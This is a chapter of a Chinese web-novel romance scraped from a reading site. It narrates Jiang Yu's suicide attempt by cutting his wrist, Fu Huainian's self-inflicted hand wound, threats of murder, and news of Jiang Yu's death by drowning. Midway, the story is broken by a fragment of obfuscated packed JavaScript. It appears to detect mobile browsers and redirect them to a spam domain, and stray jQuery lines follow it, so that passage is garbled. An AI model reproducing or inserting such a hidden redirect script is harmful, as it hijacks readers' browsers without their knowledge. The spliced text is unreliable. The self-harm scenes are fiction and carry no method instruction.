默认冷灰
24号文字
方正启体

21. 打掉孩子

作者:千余里本书字数:K更新时间:
    满地的玻璃碎渣。


    那尾漂亮的金鱼躺在一旁,因缺氧而不断挣扎着。


    浴缸里的水被染红,江予浸在血水里,苍白瘦削的手腕处是一条极深的割痕。


    傅淮年藏起刀、封好窗。


    隔绝起他自杀的一切可能。


    所以江予就砸碎他送的鱼缸,用碎玻璃割了腕。


    最爱惜的小鱼不要了,蛋挞不吃了,画也不画了,为了摆脱傅淮年,他连死都不怕。


    他讨厌傅淮年,憎恶傅淮年,以至于他逃离的愿望是那么迫切,迫切到不惜去割腕。


    傅淮年的本能先于一切权衡和伪装,率先替满嘴谎话的自己做出了反应。他扑上前把奄奄一息的江予从血水里抱起来,二话不说就往外冲。


    “怎么了?!”林伯手里的钥匙砸在地板上,差点没站稳,“快叫救护车!”


    今年的第一场雪下得气势汹汹。


    狂风大作。


    车祸频出,道路阻塞。


    救护车被迫受堵,傅淮年只好自己开车。连闯五个红灯后,车被堵在了半路。


    方舟冷汗不断:“傅、傅总,前面出车祸了,我们的车开不过去。绕路还得一个多小时。”


    傅淮年用纱布缠着那道割痕,堵着血,但江予的血还是流得到处都是。


    傅淮年压着嗓子,扼住不住地发颤,手都在抖:“我抱他下车走。”


    方舟给他撑伞。


    “因为知道小鱼是我送的,所以就不要了吗。”雪下得大,傅淮年走路都在打滑,声音发涩,“不是最怕死、最爱惜自己了吗,怎么我一个没看住就闹到要割腕?”


    江予意识虚晃,贴着傅淮年的胸膛,那里有一颗急乱跳动的心脏。


    他说:“……小鱼还给你。”


    血顺着小臂淌下,砸进苍白的雪里。刺目极了。


    “不能死,不准死。”都这时候,傅淮年还是那副我行我素、唯他独尊的强横态度,“你死了我就杀了许晔,不光他,我还要把张正找出来一块杀了。”


    “偏死。”江予阖上眼睛,任傅淮年怎么刺激都没再说话。


    十分钟后,随行救护人员找到了他们。直到抢救室的灯亮起,门关上,傅淮年还失魂落魄地立在手术室门前,一言未发。


    医生问,病人有过不止一次的自.杀倾向,为什么不引起重视。


    在江予最开始出现zs倾向时,他曾漫不经心地斥责过他:这次是溺水那下次是不是割腕。


    傅淮年一语成谶。


    方舟走上来告诉他:“傅总,董事长很生气,问您为什么不在公司,是不是又回了别墅。”


    他闭了闭眼。


    傅承洲要对江予下手,摘除他的腺体,然后植给周漾——傅淮年不是看不出,所以他要防着傅承洲,还要防着江予自己,甚至还要小心许晔,偶尔也会心有予而力不足。


    搬出别墅的他以为傅承洲会就此善罢甘休,以为江予会活得轻松点,结果等来的却是这个。


    他摸出把刀,割破手心。鲜血直流。


    傅淮年扔开刀:“我手伤了,来医院看病。”


    方舟倒吸口冷气,口子深可见骨。他叫来人包扎,扶傅淮年坐下。


    鲜红的血液让傅淮年想起了锦鲤,和那条找了重重借口才送出去的小金鱼。


    鲜艳、漂亮。


    从前的江予给一点点水就能游动,洒一点点饲饵就能存活,哪怕短暂地剥夺他的氧气,只要重新把他放回水里,照样能吐出很圆很大的泡泡。


    傅淮年觉得很奇怪,饿惯了穷怕了的江予,在那些穷凶极恶的环境里也能挺着腰板长得很好,任人刀俎的生活照样过得张牙舞爪,应该很好养活才对。


    自己给他丰盛的食物、遮风的房子、甚至偶尔也会给一点点陪伴,怎么起先很好养活的江予却开始生病,像褪色那样,一点一点枯萎下去。


    变得灰扑扑。


    像掉色的锦鲤。


    “方舟,我抱着小狗离家出走的那晚,雨也很大。”傅淮年颓然出声。


    方舟说:“不会有事的。”


    “可它死了。”


    方舟沉思片刻:“那是您父亲造成的,和您没关系。您努力过了,也确实做到了最好。”


    八岁离家那晚,瓢泼大雨,傅淮年跑到很远的城郊,躲进了山里。


    所以傅承洲当晚并没有抓到人。


    “当年能遇见给您撑伞、让您避雨的那个孩子,这次也一定能化险为夷。您总是很幸运的,这回也一样。”


    傅淮年看了眼急救室的灯,喃喃道:“以后不会再有谁给我撑伞了。”


    “什么意思?”


    ……


    急救室外,傅淮年一整晚都靠墙坐着。他做了个梦。


    梦里,他来到河边。有河神问他,你掉的是这条五颜六色的小金鱼,还是这条灰扑扑的小丑鱼?


    傅淮年说,掉的是一条狡猾多端、狼心狗肺的蠢鱼。


    河神揭穿他:你撒谎,所以你哪条小鱼都没有啦。


    傅淮年很着急,改口说,掉的是一条不怎么讨人喜欢的小金鱼。


    河神没有理他,撒谎精的愿望是无法被实现的。


    傅淮年很郁闷,靠石头坐着,头顶乌云密布。忽然,两块手掌从身后伸出来,摘走了傅淮年头顶的乌云。


    大石头上,一条很漂亮的人鱼晃着五彩斑斓的尾巴,笑道:


    “你是在找我嘛?”


    傅淮年二话不说把他绑上了岸,用绳子捆住他的手脚,把他养在身边。


    江予却很神气地仰着脸:“我从小可是被宠大的,不是很好养,只给水和食物的话是远远不够的,没有让我感受到爱的话,我可能会死掉。另外还有点烦人和白眼狼哦。”


    傅淮年严厉道:“跟着我就只能按照我的规矩来。”


    于是,没有得到足够多关爱的江予慢慢缩水,漂亮的尾巴变得又小又丑,到最后连绳子都拴不住了,只能很小一团窝在傅淮年的掌心里。


    “怎么回事?长得越来越难看就算了,尾巴也灰扑扑的。”傅淮年已经给了足够多的食物和水源,可江予非但没有变着花样地来回报自己,反而越来越虚弱。


    “没人喜欢我我当然会死掉了,我又不是什么很随便的小鱼,难道一点吃的喝的就能养好了吗?而且我一点也不喜欢你,为什么非得逼我躺在你的手心里,害我每天都要掉很多眼泪。”


    傅淮年气急败坏地评价道:“果然是个不知感恩的白眼狼。”


    江予特别伤心地哭了:“你怎么能这么说我?!难道你看不出来我也很难过吗,尾巴又不是我自己愿意变难看的。你不尊重我,给我立很多规矩,还害我生病,你这么恶毒,世界上不会有人喜欢你的。”


    “我特别讨厌你……”


    小人鱼在傅淮年掌心里慢慢变小,不等傅淮年道歉,最后直接消失了。


    河神再一次出现。


    河神问他,你掉的是这条乖顺懂事的小鱼,还是这条肯听你话的小鱼?


    傅淮年终于讲出真心话,都不是,他掉的是一条心爱的、健康的小金鱼。


    就叫做江予。


    河神没再多说,而是让他自己去河里找。


    傅淮年又一次来到河边,又遇见了那条人鱼,又一次失去他,又见到河神,又开始新的一轮循环。


    如此循环,在第10001次失去小人鱼时,傅淮年听见他很悲伤地控诉道:


    “为什么要对我这么坏呢?”


    “我就是江予,给你撑伞,让你进屋避雨的人就是我呀。”


    “不是一直在找我吗,找到了怎么不珍惜呢,为什么要给我立那么多规矩、对我说那样难听的话,没人教过你最喜欢就要说最喜欢,不能说最讨厌吗?你不爱惜我,不尊重我,许再多的愿望都没办法再留住我了。”


    傅淮年顿悟。


    原来他就是江予。


    可原本很乖顺的江予怎么也开始不学好,擅自生这些很严重的病。


    本来好漂亮的一个人,五颜六色、闪闪发光的人,竟然在自己手里开始掉色了。


    “有爱才是领养,没爱叫做圈养。”


    傅淮年忽然想到江予说的这句话。他后知后觉地得出结论——


    原来,江予不缺金银珠宝,缺的是爱呢。


    于是傅淮年双手合十,把江予包裹起来,看起来很像江予平时经常做的那种拜托手势。


    “别走,拜托。”他低声说,一遍又一遍地挽留。


    “我讲真话给你听。”


    ……


    傅淮年是被一阵啜泣声吵醒的。


    他顺着走廊,找到了哭声的来源。病房走廊外,是一位母亲抱着病重的孩子坐在长椅上哭,孩子脖子上还挂着长命锁。


    母亲捏着庙里求来的平安符,悲恸地哀求各路神仙。


    “有用吗。”傅淮年从来不信鬼神之说。


    但过了会,他忽然问:“上帝和菩萨谁更心软?”


    *


    江予觉得傅淮年特难缠,自己都快死了还黏着他不放。


    如果他还醒着,可能会提醒傅淮年去医院做个心电图,因为刚刚抱着他在雪地里跑的时候,傅淮年的心跳声实在太聒噪,有点像阵发性心动过速。


    江予许愿,傅淮年不要太快死,不然他就白死了。他好不容易才摆脱掉傅淮年的。


    傅淮年永远都是一副倨傲、阴险的模样,那颗梨涡真是白长在他脸上了。闭眼前,江予忽然觉得傅淮年长得有点熟悉,他貌似在哪儿见过。


    但江予已经二十岁了,在这种严肃的场合,他没有废话,而是选择临终托孤,拜托傅淮年照顾小鱼。


    “傅淮年你跑起来头发乱掉的样子有点丑。”手腕好疼,江予这句话没有说出口。


    傅淮年是不会轻易放过他的。


    被推进急救室时,江予简直恨死他了,边恨边做梦,竟然又梦见了那条黑蛇。


    这条黑蛇像极了傅淮年的纹身,江予惊恐失措地掉头就跑,它紧追不放,缠上了他的小腿,从衣摆里钻了进去。


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16079115|179359||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >江予摔在地上,一摸肚子,黑蛇不见了。


    紧接着肚子就鼓了起来。


    他慌乱地哭嚎起来,手胡乱挥舞着,睡梦中迷糊听见有人在打电话。


    “孩子打掉。”


    电话那头是傅淮年的声音。


    “江予肚子里的孩子,我们不要。”


    *


    寺庙里,傅淮年挂断电话后,很不熟练地亲手把祈福牌挂上了许愿树。


    一旁的方舟好意提醒:“语气好像有点不太对。”


    祈福牌上,五个大字:让江予平安。


    傅淮年不明白:“是要怎样?”


    方舟尽量把话说得委婉,让自己看起来不像是在批评傅淮年的没礼貌:“心诚则灵,越心诚,越灵。”


    傅淮年极少求人,也讲不出那些类似哀告的口吻,但他耳濡目染,从经常向自己求饶的江予嘴里学来一句拜托。


    他取下来,重新写道:“拜托江予平安。”


    祈愿树下,他说拜托。


    拜托江予平安。


    原来百无禁忌的傅淮年也会有为了谁而惶恐祈祷的时候。


    傅淮年那晚求了很多次签,庙里师傅解了很久,气压一直很低,方舟站在一旁,大气都不敢喘。


    天刚蒙蒙亮时,医院来了电话。


    傅淮年接起后,脸色骤变:“人不见了是什么意思?”


    “抱歉傅先生,是我们的人失职,一时没看住……”


    ……


    风劲雪急,车速飙到60就开始打滑。


    方舟心惊胆战地坐在傅淮年的副驾:“雪夜行车很危险,傅总,您和董事长服个软吧。”


    “十六年前我就求过他了,结果呢。”傅淮年很清楚,“傅承洲不会在意那到底是小狗,还是江予,只要是不让他顺意的,他都不会轻易放过。”


    方舟脊背一寒:“董事长知道孩子的事情了?”


    “瞒不过他。”


    “怎么办?”


    “……”傅淮年紧攥方向盘,“赶过去拖延时间。等一个人。”


    傅淮年再怎样恶毒阴险也都还太年轻了,正如傅承洲所言,他的手段和心思在傅承洲看来,都过于幼稚和低劣。


    二十四岁的傅淮年和八岁的傅淮年其实没什么两样,只是学会了伪装。


    学会了在傅承洲面前,最喜欢要说最讨厌。


    傅淮年记得傅承洲把江予的资料都扔给他的那天,那些照片和文件一张张从他眼前闪过,直到照片里忽然露出一张盯着镜头笑的鬼精小脸。


    “哥哥,你的小白狗可以给我抱抱嘛?”


    “快下雨了,你要不要进我家躲躲雨呀?”


    “你是走丢了吗,怎么一个人呢?我没见过你,你穿得这么贵,是有钱人吗?”


    “……”


    抱着小狗出逃的回忆涌现,那天的傅淮年顿生出一丝阴暗的侥幸。


    原来他就是江予,而江予就是自己的。


    伴随侥幸而生的,是那些更腌臜的占有欲。


    所以那晚当他看见江予和许晔厮混在一起时,才会那样失控,用那样不可理喻的方式来宣誓主权。


    他实在是走错过太多步,以至于现在想改变都只能推翻重来。


    可现实没有河神,只有一次次掷出的下下签和大师也解不了的凶。


    驶过路口时,车前骤然亮起一道刺眼的白光!


    比奇迹先一步来临的是意外。


    人为意外。


    傅淮年猛打方向盘去躲避十字路突然出现的货车,可车身在积雪中完全不受控地打滑。“嘭!”地一声巨响,车窗碎裂,整辆车被重力撞了出去,滑行几米才停下。


    傅淮年在蒲团上拜了很久,唯独忘了求自己的平安。


    方舟的情况要好很多,他解开安全带,转向满头是血的傅淮年:“傅总?!”


    他掏出手机准备打给120,屏幕却率先弹出一个来电,是傅承洲。


    他接起来。


    天幕灰白,雪还在下。


    傅淮年勉强睁开眼,看向接起电话后一直沉默的方舟。


    方舟脸色沉重:“傅总……”


    傅淮年心一沉,顾不得腰腹处被玻璃割开的口子,撞开门,踉跄着下了车。


    方舟跟着下去,盯着傅淮年执拗的背影,沉声吼道:“没了——”


    傅淮年捂住伤口,听不懂一样扭头问他:“什么没了?”


    “人、没了。”


    “我不信。”


    “贺总带人去救,救出来以后又被董事长追上,江予没地方逃,跳了江。尸体是在桥洞下发现的。”


    “我不信。”


    傅淮年固执己见,一意孤行地扭头就走:“一个个废物,连人都救不出来。我自己去找。”


    天边跃起旭日。


    熹光美得让人发指。


    傅淮年伤得太重,需要立刻去医院缝伤。方舟一狠心,把话说得很重:“江予已经死了,谁去也没用。”


    “人死不能复生,您节哀。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)